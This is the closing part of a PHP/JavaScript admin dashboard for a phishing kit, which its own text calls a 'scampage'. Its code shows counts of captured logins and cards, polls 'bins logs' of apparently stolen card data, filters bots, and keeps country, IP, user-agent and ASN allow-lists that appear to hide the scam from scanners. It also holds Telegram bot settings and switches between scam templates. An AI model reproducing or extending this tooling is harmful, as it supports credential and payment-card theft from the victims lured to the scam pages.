                    if (!res.ok) throw new Error('Network response was not ok: ' + res.status);
                    return res.text();
                })
                .then(html => {
                    if (!html || html.trim() === '') {
                        tbody.innerHTML = '<tr><td colspan="6" class="empty-state">Not available data.</td></tr>';
                        return;
                    }
                    
                    // Parse HTML response
                    const parser = new DOMParser();
                    const doc = parser.parseFromString(html, 'text/html');
                    
                    // Try to find table tbody - handle different HTML structures
                    let sourceTable = doc.querySelector('table tbody');
                    if (!sourceTable) {
                        // Try alternative: find tbody in div wrapper
                        const div = doc.querySelector('div');
                        if (div) {
                            sourceTable = div.querySelector('table tbody');
                        }
                    }
                    if (!sourceTable) {
                        // Try direct tbody
                        sourceTable = doc.querySelector('tbody');
                    }
                    
                    // Clear tbody first
                    tbody.innerHTML = '';
                    
                    if (sourceTable && sourceTable.children.length > 0) {
                        let validRows = 0;
                        Array.from(sourceTable.children).forEach(row => {
                            // Skip empty rows or "Not available data" rows
                            const text = row.textContent.trim();
                            if (text === '' || text.toLowerCase().includes('not available')) {
                                return;
                            }
                            
                            // Clone the row directly
                            const clonedRow = row.cloneNode(true);
                            tbody.appendChild(clonedRow);
                            validRows++;
                        });
                        
                        // If no valid rows were added, show empty state
                        if (validRows === 0) {
                            tbody.innerHTML = '<tr><td colspan="6" class="empty-state">Not available data.</td></tr>';
                        }
                    } else {
                        tbody.innerHTML = '<tr><td colspan="6" class="empty-state">Not available data.</td></tr>';
                    }
                })
                .catch(err => {
                    console.error('Error loading bins logs:', err);
                    const currentContent = tbody.innerHTML.trim();
                    if (currentContent === '' || currentContent.includes('Loading') || currentContent.includes('Not available')) {
                        tbody.innerHTML = '<tr><td colspan="6" class="empty-state">Error loading data. Please try again.</td></tr>';
                    }
                });
        }
        
        // Cleanup old logs (auto-delete data older than 24 hours)
        function cleanupOldLogs() {
            const template = getCurrentTemplate();
            fetch('api/cleanup_logs.php?template=' + template + '&t=' + Date.now(), {
                credentials: 'same-origin'
            })
                .then(res => res.json())
                .then(data => {
                    if (data.success && data.deleted > 0) {
                        console.log('Cleaned up ' + data.deleted + ' old log entries');
                    }
                })
                .catch(err => {
                    console.error('Error cleaning up logs:', err);
                });
        }
        
        // Load stats from backend
        function loadStats() {
            const template = getCurrentTemplate();
            const urlToday = 'column_static/' + template + '_today.php?t=' + Date.now();
            const urlAllTime = 'column_static/' + template + '_alltime.php?t=' + Date.now();
            
            // Auto-cleanup disabled - logs will only be cleared manually via Clear Logs button
            // Data will persist until manually deleted by user
            
            // Load Today stats (last 24 hours)
            fetch(urlToday, {
                credentials: 'same-origin'
            })
                .then(res => {
                    if (!res.ok) {
                        throw new Error('Network response was not ok: ' + res.status);
                    }
                    return res.json();
                })
                .then(data => {
                    if (!data || typeof data !== 'object') {
                        throw new Error('Invalid data format');
                    }
                    
                    const humanToday = parseInt(data.human || 0);
                    const botsToday = parseInt(data.bots || 0);
                    const loginToday = parseInt(data.login || 0);
                    const cardToday = parseInt(data.card || 0);
                    const totalToday = humanToday + botsToday;
                    
                    // Update visitor page stats (using today data)
                    const humanEl = document.querySelector('#visitorsPage .visitor-stat-card:nth-child(1) h3');
                    const botsEl = document.querySelector('#visitorsPage .visitor-stat-card:nth-child(2) h3');
                    const loginEl = document.querySelector('#visitorsPage .visitor-stat-card:nth-child(3) h3');
                    const cardsEl = document.querySelector('#visitorsPage .visitor-stat-card:nth-child(4) h3');
                    
                    if (humanEl) humanEl.textContent = humanToday;
                    if (botsEl) botsEl.textContent = botsToday;
                    if (loginEl) loginEl.textContent = loginToday;
                    if (cardsEl) cardsEl.textContent = cardToday;
                    
                    // Update home page stats (Today - last 24 hours)
                    const homeTodayTotal = document.getElementById('homeTodayTotal');
                    const homeTodayReal = document.getElementById('homeTodayRealVisitors');
                    const homeTodayBots = document.getElementById('homeTodayBots');
                    if (homeTodayTotal) homeTodayTotal.textContent = totalToday;
                    if (homeTodayReal) homeTodayReal.textContent = humanToday;
                    if (homeTodayBots) homeTodayBots.textContent = botsToday;
                })
                .catch(err => {
                    console.error('Error loading today stats:', err);
                    // Set defaults if error
                    const homeTodayTotal = document.getElementById('homeTodayTotal');
                    const homeTodayReal = document.getElementById('homeTodayRealVisitors');
                    const homeTodayBots = document.getElementById('homeTodayBots');
                    if (homeTodayTotal) homeTodayTotal.textContent = '0';
                    if (homeTodayReal) homeTodayReal.textContent = '0';
                    if (homeTodayBots) homeTodayBots.textContent = '0';
                });
            
            // Load All Time stats
            fetch(urlAllTime, {
                credentials: 'same-origin'
            })
                .then(res => {
                    if (!res.ok) {
                        throw new Error('Network response was not ok: ' + res.status);
                    }
                    return res.json();
                })
                .then(data => {
                    if (!data || typeof data !== 'object') {
                        throw new Error('Invalid data format');
                    }
                    
                    const humanAllTime = parseInt(data.human || 0);
                    const botsAllTime = parseInt(data.bots || 0);
                    const loginAllTime = parseInt(data.login || 0);
                    const cardAllTime = parseInt(data.card || 0);
                    const totalAllTime = humanAllTime + botsAllTime;
                    
                    // Update home page stats (All Time)
                    const homeAllTimeTotal = document.getElementById('homeAllTimeTotal');
                    const homeAllTimeReal = document.getElementById('homeAllTimeRealVisitors');
                    const homeAllTimeBots = document.getElementById('homeAllTimeBots');
                    if (homeAllTimeTotal) homeAllTimeTotal.textContent = totalAllTime.toLocaleString();
                    if (homeAllTimeReal) homeAllTimeReal.textContent = humanAllTime.toLocaleString();
                    if (homeAllTimeBots) homeAllTimeBots.textContent = botsAllTime.toLocaleString();
                })
                .catch(err => {
                    console.error('Error loading all time stats:', err);
                    // Set defaults if error
                    const homeAllTimeTotal = document.getElementById('homeAllTimeTotal');
                    const homeAllTimeReal = document.getElementById('homeAllTimeRealVisitors');
                    const homeAllTimeBots = document.getElementById('homeAllTimeBots');
                    if (homeAllTimeTotal) homeAllTimeTotal.textContent = '0';
                    if (homeAllTimeReal) homeAllTimeReal.textContent = '0';
                    if (homeAllTimeBots) homeAllTimeBots.textContent = '0';
                });
        }
        
        // Load current theme
        function loadTheme() {
            fetch('api/theme.php')
                .then(res => res.json())
                .then(data => {
                    const alertSelect = document.getElementById('alertTemplateSelect');
                    const alertBadge = document.getElementById('alertCurrentTemplateBadge');
                    const headerTemplate = document.getElementById('currentTemplate');
                    
                    if (alertSelect && data.template_select) {
                        alertSelect.value = data.template_select;
                    }
                    if (alertBadge && data.template_select) {
                        alertBadge.textContent = data.template_select.toUpperCase();
                    }
                    if (headerTemplate && data.template_select) {
                        headerTemplate.textContent = data.template_select.toUpperCase();
                    }
                    lucide.createIcons();
                })
                .catch(err => console.error('Error loading theme:', err));
        }
        
        // Save template from Alert page
        function saveTemplateFromAlert() {
            const select = document.getElementById('alertTemplateSelect');
            const template = select.value;
            
            if (!template) {
                showFlashMessage('Please select a template', 'danger');
                return;
            }
            
            if (confirm('Switch template to ' + template.toUpperCase() + '? This will reload the page.')) {
                fetch('api/theme.php', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({template_select: template})
                })
                .then(res => res.json())
                .then(data => {
                    if (data.success) {
                        const badge = document.getElementById('alertCurrentTemplateBadge');
                        const headerTemplate = document.getElementById('currentTemplate');
                        
                        if (badge) {
                            badge.textContent = template.toUpperCase();
                        }
                        if (headerTemplate) {
                            headerTemplate.textContent = template.toUpperCase();
                        }
                        
                        // Update global template variable
                        window.currentTemplate = template;
                        
                        // Reload logs and stats with new template before page reload
                        if (document.getElementById('visitorsPage')?.classList.contains('active')) {
                            loadVisitorLogs();
                            loadBinsLogs();
                            loadStats();
                        }
                        
                        showFlashMessage('Template switched to ' + template.toUpperCase() + '! File theme.json has been updated. The scampage will now use the new template. Reloading dashboard...', 'success');
                        setTimeout(() => {
                            window.location.reload();
                        }, 1500);
                    } else {
                        showFlashMessage('Failed to switch template: ' + (data.error || 'Unknown error'), 'danger');
                    }
                })
                .catch(err => {
                    console.error('Error saving template:', err);
                    showFlashMessage('Error switching template. Please try again.', 'danger');
                });
            }
        }
        
        
        // Modal functions
        function openCountryModal() {
            document.getElementById('countryModal').classList.add('active');
        }
        
        function openIPModal() {
            document.getElementById('ipModal').classList.add('active');
        }
        
        function openTelegramModal() {
            document.getElementById('telegramModal').classList.add('active');
        }
        
        function closeModal(modalId) {
            document.getElementById(modalId).classList.remove('active');
        }
        
        function removeCountry(element) {
            element.remove();
        }
        
        function addCountry() {
            const input = document.getElementById('newCountry');
            const countryCode = input.value.toUpperCase().trim();
            if (countryCode && countryCode.length === 2) {
                const tag = document.createElement('div');
                tag.className = 'country-tag';
                tag.onclick = function() { removeCountry(this); };
                tag.innerHTML = countryCode + ' <span class="remove-icon">✕</span>';
                document.getElementById('countryTags').appendChild(tag);
                input.value = '';
            } else {
                showFlashMessage('Please enter a valid 2-letter country code', 'danger');
            }
        }
        
        function saveCountries() {
            // Collect all country codes from modal
            const countryTags = document.querySelectorAll('#countryTags .country-tag');
            const countries = Array.from(countryTags).map(tag => {
                const text = tag.textContent.trim();
                return text.split(' ')[0]; // Get country code before space
            }).filter(code => code && code.length === 2);
            
            // Save to API (using same allow.json file)
            const apiBase = 'api/allow.php';
            fetch(apiBase + '?action=save_countries', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({countries: countries})
            })
            .then(res => res.json())
            .then(data => {
                if (data.success) {
                    showFlashMessage('Country settings saved!', 'success');
                    closeModal('countryModal');
                    // Reload allow data to sync
                    if (typeof loadAllowData === 'function') {
                        loadAllowData();
                    }
                } else {
                    showFlashMessage(data.error || 'Failed to save countries', 'danger');
                }
            })
            .catch(err => {
                console.error('Error saving countries:', err);
                showFlashMessage('Error saving countries. Please try again.', 'danger');
            });
        }
        
        function removeIP(button) {
            button.parentElement.remove();
        }
        
        function addIP() {
            const input = document.getElementById('newIP');
            const ipAddress = input.value.trim();
            if (ipAddress) {
                const tag = document.createElement('div');
                tag.className = 'ip-tag';
                tag.innerHTML = '<span>' + ipAddress + '</span><button class="remove-btn" onclick="removeIP(this)">Remove</button>';
                document.getElementById('ipTags').appendChild(tag);
                input.value = '';
            }
        }
        
        function saveIPs() {
            // Collect all IPs from modal
            const ipTags = document.querySelectorAll('#ipTags .ip-tag span');
            const ips = Array.from(ipTags).map(span => span.textContent.trim()).filter(ip => ip);
            
            // Save to API (using same allow.json file)
            const apiBase = 'api/allow.php';
            fetch(apiBase + '?action=save_ips', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({ips: ips})
            })
            .then(res => res.json())
            .then(data => {
                if (data.success) {
                    showFlashMessage('IP whitelist saved!', 'success');
                    closeModal('ipModal');
                    // Reload allow data to sync
                    if (typeof loadAllowData === 'function') {
                        loadAllowData();
                    }
                } else {
                    showFlashMessage(data.error || 'Failed to save IPs', 'danger');
                }
            })
            .catch(err => {
                console.error('Error saving IPs:', err);
                showFlashMessage('Error saving IPs. Please try again.', 'danger');
            });
        }
        
        function saveTelegram() {
            const botToken = document.getElementById('botToken').value;
            const chatID = document.getElementById('chatID').value;
            const status = document.getElementById('telegramStatus').value;
            showFlashMessage('Telegram settings saved! Bot Token: ' + botToken + ' | Chat ID: ' + chatID + ' | Status: ' + status, 'success');
            closeModal('telegramModal');
        }
        
        // API Base URL
        const API_BASE = 'api/allow.php';
        
        // Load Allow data from API
        function loadAllowData() {
            fetch(API_BASE)
                .then(res => res.json())
                .then(data => {
                    // Load countries
                    const countryGrid = document.querySelector('.country-flags-grid');
                    if (countryGrid) {
                        countryGrid.innerHTML = '';
                        data.countries.forEach(country => {
                            const item = document.createElement('div');
                            item.className = 'country-flag-item';
                            item.setAttribute('data-country', country);
                            item.onclick = function() { removeAllowCountry(country); };
                            item.textContent = '🇺🇸 ' + country;
                            countryGrid.appendChild(item);
                        });
                        updateCountryBadge();
                    }
                    
                    // Load IPs
                    const ipList = document.getElementById('ipAllowList');
                    if (ipList) {
                        ipList.innerHTML = '';
                        data.ips.forEach(ip => {
                            const item = document.createElement('div');
                            item.className = 'allow-item';
                            item.innerHTML = '<span class="allow-item-text">' + ip + '</span><button class="allow-item-remove" onclick="removeAllowIP(\'' + ip + '\')">Remove</button>';
                            ipList.appendChild(item);
                        });
                        updateIPBadge();
                    }
                    
                    // Load User Agents
                    const uaList = document.getElementById('userAgentList');
                    if (uaList) {
                        uaList.innerHTML = '';
                        data.user_agents.forEach(ua => {
                            const item = document.createElement('div');
                            item.className = 'allow-item';
                            item.innerHTML = '<span class="allow-item-text">' + ua + '</span><button class="allow-item-remove" onclick="removeAllowUserAgent(\'' + ua.replace(/'/g, "\\'") + '\')">Remove</button>';
                            uaList.appendChild(item);
                        });
                    }
                    
                    // Load ASNs
                    const asnList = document.getElementById('asnList');
                    if (asnList) {
                        asnList.innerHTML = '';
                        data.asns.forEach(asn => {
                            const item = document.createElement('div');
                            item.className = 'allow-item';
                            item.innerHTML = '<span class="allow-item-text">' + asn + '</span><button class="allow-item-remove" onclick="removeAllowASN(\'' + asn.replace(/'/g, "\\'") + '\')">Remove</button>';
                            asnList.appendChild(item);
                        });
                    }
                    
                    syncHomeFromAllow();
                    lucide.createIcons();
                })
                .catch(err => console.error('Error loading allow data:', err));
        }
        
        // Allow page functions with API integration
        function removeAllowCountry(country) {
            fetch(API_BASE + '?action=remove_country', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({country: country})
            })
            .then(res => res.json())
            .then(data => {
                if (data.success) {
                    loadAllowData();
                }
            });
        }
        
        function addAllowCountry() {
            const input = document.getElementById('newCountryAllow');
            const code = input.value.toUpperCase().trim();
            if (code && code.length === 2) {
                fetch(API_BASE + '?action=add_country', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({country: code})
                })
                .then(res => res.json())
                .then(data => {
                    if (data.success) {
                        input.value = '';
                        loadAllowData();
                    } else {
                        showFlashMessage(data.error || 'Failed to add country', 'danger');
                    }
                });
            } else {
                showFlashMessage('Please enter a valid 2-letter country code', 'danger');
            }
        }
        
        function removeAllowIP(ip) {
            fetch(API_BASE + '?action=remove_ip', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({ip: ip})
            })
            .then(res => res.json())
            .then(data => {
                if (data.success) {
                    loadAllowData();
                }
            });
        }
        
        function addAllowIP() {
            const input = document.getElementById('newIPAllow');
            const ip = input.value.trim();
            if (ip) {
                fetch(API_BASE + '?action=add_ip', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({ip: ip})
                })
                .then(res => res.json())
                .then(data => {
                    if (data.success) {
                        input.value = '';
                        loadAllowData();
                    } else {
                        showFlashMessage(data.error || 'Failed to add IP', 'danger');
                    }
                });
            }
        }
        
        function removeAllowUserAgent(ua) {
            fetch(API_BASE + '?action=remove_user_agent', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({user_agent: ua})
            })
            .then(res => res.json())
            .then(data => {
                if (data.success) {
                    loadAllowData();
                }
            });
        }
        
        function addAllowUserAgent() {
            const input = document.getElementById('newUserAgent');
            const agent = input.value.trim();
            if (agent) {
                fetch(API_BASE + '?action=add_user_agent', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    credentials: 'same-origin',
                    body: JSON.stringify({user_agent: agent})
                })
                .then(res => res.json())
                .then(data => {
                    if (data.success) {
                        input.value = '';
                        loadAllowData();
                    } else {
                        showFlashMessage(data.error || 'Failed to add user agent', 'danger');
                    }
                });
            }
        }
        
        function removeAllowASN(asn) {
            fetch(API_BASE + '?action=remove_asn', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                credentials: 'same-origin',
                body: JSON.stringify({asn: asn})
            })
            .then(res => res.json())
            .then(data => {
                if (data.success) {
                    loadAllowData();
                }
            });
        }
        
        function addAllowASN() {
            const input = document.getElementById('newASN');
            const asn = input.value.trim();
            if (asn) {
                fetch(API_BASE + '?action=add_asn', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    credentials: 'same-origin',
                    body: JSON.stringify({asn: asn})
                })
                .then(res => res.json())
                .then(data => {
                    if (data.success) {
                        input.value = '';
                        loadAllowData();
                    } else {
                        showFlashMessage(data.error || 'Failed to add ASN', 'danger');
                    }
                });
            }
        }
        
        function updateCountryBadge() {
            const count = document.querySelectorAll('.country-flags-grid .country-flag-item').length;
            const badge = document.getElementById('allowPage')?.querySelector('.allow-section:first-child .allow-badge');
            if (badge) badge.textContent = count + ' Countries';
        }
        
        function updateIPBadge() {
            const count = document.querySelectorAll('#ipAllowList .allow-item').length;
            const badge = document.getElementById('allowPage')?.querySelector('.allow-section:nth-child(2) .allow-badge');
            if (badge) badge.textContent = count + ' IPs';
        }
        
        // Sync HOME page data from ALLOW page
        function syncHomeFromAllow() {
            // Sync Countries
            const allowCountries = document.querySelectorAll('.country-flags-grid .country-flag-item');
            const homeCountryList = document.getElementById('homeCountryList');
            const countryBadge = document.getElementById('countryBadge');
            
            homeCountryList.innerHTML = '';
            allowCountries.forEach(country => {
                const code = country.textContent.trim().split(' ').pop();
                const flagItem = document.createElement('div');
                flagItem.className = 'country-flag';
                flagItem.innerHTML = '<div class="flag">' + country.textContent.split(' ')[0] + '</div><div class="country-code">' + code + '</div>';
                homeCountryList.appendChild(flagItem);
            });
            countryBadge.textContent = allowCountries.length + ' Allowed';
            
            // Sync IPs
            const allowIPs = document.querySelectorAll('#ipAllowList .allow-item');
            const homeIPList = document.getElementById('homeIPList');
            const ipBadge = document.getElementById('ipBadge');
            
            homeIPList.innerHTML = '';
            allowIPs.forEach(ipItem => {
                const ipText = ipItem.querySelector('.allow-item-text').textContent;
                const ipDiv = document.createElement('div');
                ipDiv.className = 'ip-item';
                ipDiv.textContent = ipText;
                homeIPList.appendChild(ipDiv);
            });
            ipBadge.textContent = allowIPs.length + ' IPs';
            
            lucide.createIcons();
        }
        
        // Show settings page function
        function showSettings() {
            const homeContent = document.querySelector('.content-area > .stats-grid');
            const bottomGrid = document.querySelector('.bottom-grid');
            const settingsPage = document.getElementById('settingsPage');
            const alertPage = document.getElementById('alertPage');
            const blockPage = document.getElementById('blockPage');
            const visitorsPage = document.getElementById('visitorsPage');
            const allowPage = document.getElementById('allowPage');
            const dashboardHeader = document.querySelector('.dashboard-header');
            
            // Keep dashboard header visible, show settings page below it
            if(homeContent) homeContent.style.display = 'none';
            if(bottomGrid) bottomGrid.style.display = 'none';
            dashboardHeader.style.display = 'block';
            settingsPage.classList.add('active');
            alertPage.classList.remove('active');
            blockPage.classList.remove('active');
            visitorsPage.classList.remove('active');
            allowPage.classList.remove('active');
            
            // Clear intervals when leaving visitors page
            if (window.visitorLogsInterval) {
                clearInterval(window.visitorLogsInterval);
                window.visitorLogsInterval = null;
            }
            if (window.binsLogsInterval) {
                clearInterval(window.binsLogsInterval);
                window.binsLogsInterval = null;
            }
            if (window.statsInterval) {
                clearInterval(window.statsInterval);
                window.statsInterval = null;
            }
            
            // Load theme when settings page is shown
            loadTheme();
        }
        
        // Show alert page function
        function showAlert() {
            const homeContent = document.querySelector('.content-area > .stats-grid');
            const bottomGrid = document.querySelector('.bottom-grid');
            const settingsPage = document.getElementById('settingsPage');
            const alertPage = document.getElementById('alertPage');
            const blockPage = document.getElementById('blockPage');
            const visitorsPage = document.getElementById('visitorsPage');
            const allowPage = document.getElementById('allowPage');
            const dashboardHeader = document.querySelector('.dashboard-header');
            
            // Keep dashboard header visible, show alert page below it
            if(homeContent) homeContent.style.display = 'none';
            if(bottomGrid) bottomGrid.style.display = 'none';
            dashboardHeader.style.display = 'block';
            settingsPage.classList.remove('active');
            alertPage.classList.add('active');
            blockPage.classList.remove('active');
            visitorsPage.classList.remove('active');
            allowPage.classList.remove('active');
            
            // Clear intervals when leaving visitors page
            if (window.visitorLogsInterval) {
                clearInterval(window.visitorLogsInterval);
                window.visitorLogsInterval = null;
            }
            if (window.binsLogsInterval) {
                clearInterval(window.binsLogsInterval);
                window.binsLogsInterval = null;
            }
            if (window.statsInterval) {
                clearInterval(window.statsInterval);
                window.statsInterval = null;
            }
            
            // Load theme when alert page is shown
            loadTheme();
        }
        
        // Show block page function
        function showBlock() {
            const homeContent = document.querySelector('.content-area > .stats-grid');
            const bottomGrid = document.querySelector('.bottom-grid');
            const settingsPage = document.getElementById('settingsPage');
            const alertPage = document.getElementById('alertPage');
            const blockPage = document.getElementById('blockPage');
            const visitorsPage = document.getElementById('visitorsPage');
            const allowPage = document.getElementById('allowPage');
            const dashboardHeader = document.querySelector('.dashboard-header');
            
            // Keep dashboard header visible, show block page below it
            if(homeContent) homeContent.style.display = 'none';
            if(bottomGrid) bottomGrid.style.display = 'none';
            dashboardHeader.style.display = 'block';
            settingsPage.classList.remove('active');
            alertPage.classList.remove('active');
            blockPage.classList.add('active');
            visitorsPage.classList.remove('active');
            allowPage.classList.remove('active');
            
            // Clear intervals when leaving visitors page
            if (window.visitorLogsInterval) {
                clearInterval(window.visitorLogsInterval);
                window.visitorLogsInterval = null;
            }
            if (window.binsLogsInterval) {
                clearInterval(window.binsLogsInterval);
                window.binsLogsInterval = null;
            }
            if (window.statsInterval) {
                clearInterval(window.statsInterval);
                window.statsInterval = null;
            }
        }
        
        // Show visitors page function
        function showVisitors() {
            const homeContent = document.querySelector('.content-area > .stats-grid');
            const bottomGrid = document.querySelector('.bottom-grid');
            const settingsPage = document.getElementById('settingsPage');
            const alertPage = document.getElementById('alertPage');
            const blockPage = document.getElementById('blockPage');
            const visitorsPage = document.getElementById('visitorsPage');
            const allowPage = document.getElementById('allowPage');
            const dashboardHeader = document.querySelector('.dashboard-header');
            
            // Keep dashboard header visible, show visitors page below it
            if(homeContent) homeContent.style.display = 'none';
            if(bottomGrid) bottomGrid.style.display = 'none';
            dashboardHeader.style.display = 'block';
            settingsPage.classList.remove('active');
            alertPage.classList.remove('active');
            blockPage.classList.remove('active');
            visitorsPage.classList.add('active');
            allowPage.classList.remove('active');
            
            // Load logs immediately when page is shown
            loadVisitorLogs();
            loadBinsLogs();
            loadStats();
            
            // Start real-time updates
            if (window.visitorLogsInterval) clearInterval(window.visitorLogsInterval);
            if (window.binsLogsInterval) clearInterval(window.binsLogsInterval);
            if (window.statsInterval) clearInterval(window.statsInterval);
            
            window.visitorLogsInterval = setInterval(loadVisitorLogs, 3000);
            window.binsLogsInterval = setInterval(loadBinsLogs, 3000);
            window.statsInterval = setInterval(loadStats, 3000);
        }
        
        // Show allow page function
        function showAllow() {
            const homeContent = document.querySelector('.content-area > .stats-grid');
            const bottomGrid = document.querySelector('.bottom-grid');
            const settingsPage = document.getElementById('settingsPage');
            const alertPage = document.getElementById('alertPage');
            const blockPage = document.getElementById('blockPage');
            const visitorsPage = document.getElementById('visitorsPage');
            const allowPage = document.getElementById('allowPage');
            const dashboardHeader = document.querySelector('.dashboard-header');
            
            // Keep dashboard header visible, show allow page below it
            if(homeContent) homeContent.style.display = 'none';
            if(bottomGrid) bottomGrid.style.display = 'none';
            dashboardHeader.style.display = 'block';
            settingsPage.classList.remove('active');
            alertPage.classList.remove('active');
            blockPage.classList.remove('active');
            visitorsPage.classList.remove('active');
            allowPage.classList.add('active');
            
            // Clear intervals when leaving visitors page
            if (window.visitorLogsInterval) {
                clearInterval(window.visitorLogsInterval);
                window.visitorLogsInterval = null;
            }
            if (window.binsLogsInterval) {
                clearInterval(window.binsLogsInterval);
                window.binsLogsInterval = null;
            }
            if (window.statsInterval) {
                clearInterval(window.statsInterval);
                window.statsInterval = null;
            }
            
            // Load allow data when page is shown
            loadAllowData();
            lucide.createIcons();
        }
        
        // Show home page function
        function showHome() {
            const homeContent = document.querySelector('.content-area > .stats-grid');
            const bottomGrid = document.querySelector('.bottom-grid');
            const settingsPage = document.getElementById('settingsPage');
            const alertPage = document.getElementById('alertPage');
            const blockPage = document.getElementById('blockPage');
            const visitorsPage = document.getElementById('visitorsPage');
            const allowPage = document.getElementById('allowPage');
            const dashboardHeader = document.querySelector('.dashboard-header');
            
            // Show home content, hide others
            if(homeContent) homeContent.style.display = 'grid';
            if(bottomGrid) bottomGrid.style.display = 'grid';
            dashboardHeader.style.display = 'block';
            settingsPage.classList.remove('active');
            alertPage.classList.remove('active');
            blockPage.classList.remove('active');
            visitorsPage.classList.remove('active');
            allowPage.classList.remove('active');
            
            // Clear intervals when leaving visitors page
            if (window.visitorLogsInterval) {
                clearInterval(window.visitorLogsInterval);
                window.visitorLogsInterval = null;
            }
            if (window.binsLogsInterval) {
                clearInterval(window.binsLogsInterval);
                window.binsLogsInterval = null;
            }
            if (window.statsInterval) {
                clearInterval(window.statsInterval);
                window.statsInterval = null;
            }
            
            // Load stats for home page
            loadStats();
            // Start auto-refresh for home page stats
            if (window.homeStatsInterval) {
                clearInterval(window.homeStatsInterval);
            }
            window.homeStatsInterval = setInterval(loadStats, 1000); // Update every 1 second for real-time
        }
        
        // Clear logs function
        function clearLogs() {
            if (confirm('Are you sure you want to clear all logs?')) {
                fetch('<?php echo $logsPath; ?>?path=clear', {method: 'POST'})
                    .then(() => {
                        loadVisitorLogs();
                        loadBinsLogs();
                        showFlashMessage('Logs cleared successfully!', 'success');
                    })
                    .catch(err => showFlashMessage('Error clearing logs: ' + err.message, 'danger'));
            }
        }
        
        // Visit scampage function
        function visitScampage() {
            <?php
            $access = json_decode(file_get_contents(__DIR__ . '/../../config/access.json'), true);
            $base_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'];
            ?>
            window.open('<?php echo $base_url; ?>?<?php echo $access['parameter'] ?? ''; ?>', '_blank');
        }
        
        // Tab navigation
        const navTabs = document.querySelectorAll('.nav-tab');
        navTabs.forEach(tab => {
            tab.addEventListener('click', function() {
                navTabs.forEach(t => t.classList.remove('active'));
                this.classList.add('active');
                
                // Check if it's not the settings or alert tab
                if (!this.getAttribute('onclick')) {
                    showHome();
                }
            });
        });
    </script>
</body>
</html>